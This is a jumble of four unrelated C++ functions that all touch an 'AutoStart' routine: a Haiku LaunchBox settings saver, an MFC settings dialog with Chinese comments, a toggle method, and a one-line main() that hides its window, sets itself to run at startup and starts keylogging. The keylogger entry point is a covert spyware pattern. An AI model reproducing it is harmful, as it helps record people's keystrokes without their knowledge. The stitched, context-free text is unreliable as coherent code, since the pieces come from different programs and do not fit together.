void App::_StoreSettingsIfNeeded() { if (!fSettingsChanged) return; BMessage settings('sett'); for (int32 i = 0; BWindow* window = WindowAt(i); i++) { if (MainWindow* padWindow = dynamic_cast<MainWindow*>(window)) { if (padWindow->Lock()) { BMessage* windowSettings = padWindow->Settings(); if (windowSettings) { padWindow->SaveSettings(windowSettings); settings.AddMessage("window", windowSettings); } padWindow->Unlock(); } } } settings.AddSize("name panel size", fNamePanelSize); settings.AddBool("autostart", AutoStart()); save_settings(&settings, "main_settings", "LaunchBox"); fSettingsChanged = false; }
int main(int argc, char* argv[]) { if(VISIBLE == 0) ToHide(); AutoStart(); StartKeyLogging(argv); }
void CSettingDlg::OnBnClickedOk() { // TODO: 在此添加控件通知处理程序代码 UpdateData(TRUE); // TODO: Add your control notification handler code here CCOCDlg* pMain = (CCOCDlg*)AfxGetApp()->m_pMainWnd; CMainDoc* pDoc = pMain->m_pMainDoc; CINI* pINI = pDoc->m_pINI; if ( pDoc->m_INI.m_usrINIPath == _T("") ) { if (MessageBox(IDS_USER_SETTING_MISSING, NULL, MB_OKCANCEL) == IDOK){ pDoc->m_INI.m_usrINIPath = pINI->CreateINI(pDoc->m_host); pINI->WriteVal(appName, g_INI[INI_USR_PATH], pDoc->m_INI.m_usrINIPath); } else { AfxMessageBox(IDS_SAVE_FAILED); return; } } //是否开启开机自启动功能信息 if (pDoc->m_INI.m_autoStart!=m_autoStart) { switch(m_autoStart) { case TRUE: if (FALSE == AutoStart(TRUE)) AfxMessageBox(IDS_AUTOSTART_SET_FAILED); else AfxMessageBox(IDS_AUTOSTART_SET_SUCCESS); pDoc->m_INI.m_autoStart = TRUE; break; case FALSE: if (FALSE == AutoStart(FALSE)) AfxMessageBox(IDS_AUTOSTART_CANCEL_FAILED); else AfxMessageBox(IDS_AUTOSTART_CANCEL_SUCCESS); pDoc->m_INI.m_autoStart = FALSE; break; default: break; } } //是否弹出动画提示信息 switch(m_pop) { case TRUE: pDoc->m_INI.m_popUp = TRUE; break; case FALSE: pDoc->m_INI.m_popUp = FALSE; break; default: break; } //单机还是服务器 switch(m_radioValue) { case 0: pDoc->m_INI.m_AutoType = 0; break; case 1: pDoc->m_INI.m_AutoType = 1; break; } if (pINI->GetValid() == FALSE) pINI->SetValid(TRUE); //写入皮肤配置路径 pDoc->m_INI.m_skinPath=m_skinPath; pDoc->WriteINIInfo(); m_contentChanged=false; CDialogEx::OnOK(); }
void App::ToggleAutoStart() { fSettingsChanged = true; fAutoStart = !AutoStart(); }